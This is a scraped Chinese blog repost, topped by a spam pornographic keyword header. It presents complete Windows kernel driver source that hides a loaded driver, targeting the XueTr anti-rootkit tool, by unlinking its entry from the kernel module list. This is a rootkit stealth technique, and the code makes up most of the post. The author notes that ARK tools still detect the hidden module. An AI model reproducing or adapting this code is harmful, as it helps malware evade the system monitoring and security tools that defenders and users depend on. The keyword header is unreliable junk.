日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

隐藏驱动模块(源码)

發布時間:2024/4/11 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 隐藏驱动模块(源码) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

XP親測有效,使用我們自己編寫的枚舉驅動模塊會看不到。枚舉驅動模塊請看文章?http://blog.csdn.net/liujiayu2/article/details/72822478

但是使用ARK工具依然能看到我們隱藏的驅動某塊,比如kernel detective 和PChunter 但是隱藏的驅動模塊為紅色,意為ARK工具檢測到了該模塊進行了隱藏


  • #include?<ntddk.h>??
  • ??
  • typedef?unsigned?long?DWORD;??
  • ??
  • typedef?struct?_KLDR_DATA_TABLE_ENTRY?{??
  • ????LIST_ENTRY?InLoadOrderLinks;??
  • ????PVOID?ExceptionTable;??
  • ????ULONG?ExceptionTableSize;??
  • ????PVOID?GpValue;??
  • ????DWORD?UnKnow;??
  • ????PVOID?DllBase;??
  • ????PVOID?EntryPoint;??
  • ????ULONG?SizeOfImage;??
  • ????UNICODE_STRING?FullDllName;??
  • ????UNICODE_STRING?BaseDllName;??
  • ????ULONG?Flags;??
  • ????USHORT?LoadCount;??
  • ????USHORT?__Unused5;??
  • ????PVOID?SectionPointer;??
  • ????ULONG?CheckSum;??
  • ????PVOID?LoadedImports;??
  • ????PVOID?PatchInformation;??
  • }?KLDR_DATA_TABLE_ENTRY,?*PKLDR_DATA_TABLE_ENTRY;??
  • ??
  • PDRIVER_OBJECT?pDriverObject?=?NULL;??
  • ??
  • VOID???
  • HideDriver()??
  • {??
  • ????PKLDR_DATA_TABLE_ENTRY?entry?=(PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection;??
  • ????PKLDR_DATA_TABLE_ENTRY?firstentry;??
  • ????UNICODE_STRING?uniDriverName;??
  • ??????
  • ????firstentry?=?entry;??
  • ??
  • ????//?初始化要隱藏驅動的驅動名??
  • ????RtlInitUnicodeString(&uniDriverName,?L"XueTr.sys");??
  • ??????
  • ????while((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink?!=?firstentry)??
  • ????{??
  • ????????if?(entry->FullDllName.Buffer?!=?0)??
  • ????????{??????
  • ????????????if?(RtlCompareUnicodeString(&uniDriverName,?&(entry->BaseDllName),?FALSE)?==?0)??
  • ????????????{??
  • ????????????????KdPrint(("隱藏驅動?%ws?成功!\n",?entry->BaseDllName.Buffer));??????
  • ????????????????//?修改?Flink?和?Blink?指針,?以跳過我們要隱藏的驅動??
  • ????????????????*((DWORD*)entry->InLoadOrderLinks.Blink)?=?(DWORD)entry->InLoadOrderLinks.Flink;??
  • ????????????????entry->InLoadOrderLinks.Flink->Blink?=?entry->InLoadOrderLinks.Blink;??
  • ??????????????????
  • ????????????????/*??
  • ????????????????????使被隱藏驅動LIST_ENTRY結構體的Flink,?Blink域指向自己?
  • ????????????????????因為此節點本來在鏈表中,?那么它鄰接的節點驅動被卸載時,??
  • ????????????????????系統會把此節點的Flink,?Blink域指向它相鄰節點的下一個節點.?
  • ????????????????????但是,?它此時已經脫離鏈表了,?如果現在它原本相鄰的節點驅動被?
  • ????????????????????卸載了,?那么此節點的Flink,?Blink域將有可能指向無用的地址,?而?
  • ????????????????????造成隨機性的BSoD.?
  • ????????????????*/??
  • ????????????????entry->InLoadOrderLinks.Flink?=?(LIST_ENTRY*)&(entry->InLoadOrderLinks.Flink);??
  • ????????????????entry->InLoadOrderLinks.Blink?=?(LIST_ENTRY*)&(entry->InLoadOrderLinks.Flink);??
  • ??
  • ????????????????break;??
  • ????????????}??
  • ????????}??
  • ????????//?鏈表往前走??
  • ????????entry?=?(PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;??
  • ????}??
  • }??
  • ??
  • NTSTATUS???
  • UnloadDriver(??
  • ?????????????IN?PDRIVER_OBJECT?DriverObject??
  • ?????????????)??
  • {??
  • ????return?STATUS_SUCCESS;??
  • }??
  • ??
  • NTSTATUS???
  • DriverEntry(??
  • ????????????IN?PDRIVER_OBJECT?DriverObject,???
  • ????????????IN?PUNICODE_STRING??RegistryPath??
  • ????????????)??
  • {??
  • ????DriverObject->DriverUnload?=?UnloadDriver;??
  • ????pDriverObject?=?DriverObject;??
  • ????HideDriver();??
  • ????return?STATUS_SUCCESS;??
  • }?

  • 總結

    以上是生活随笔為你收集整理的隐藏驱动模块(源码)的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。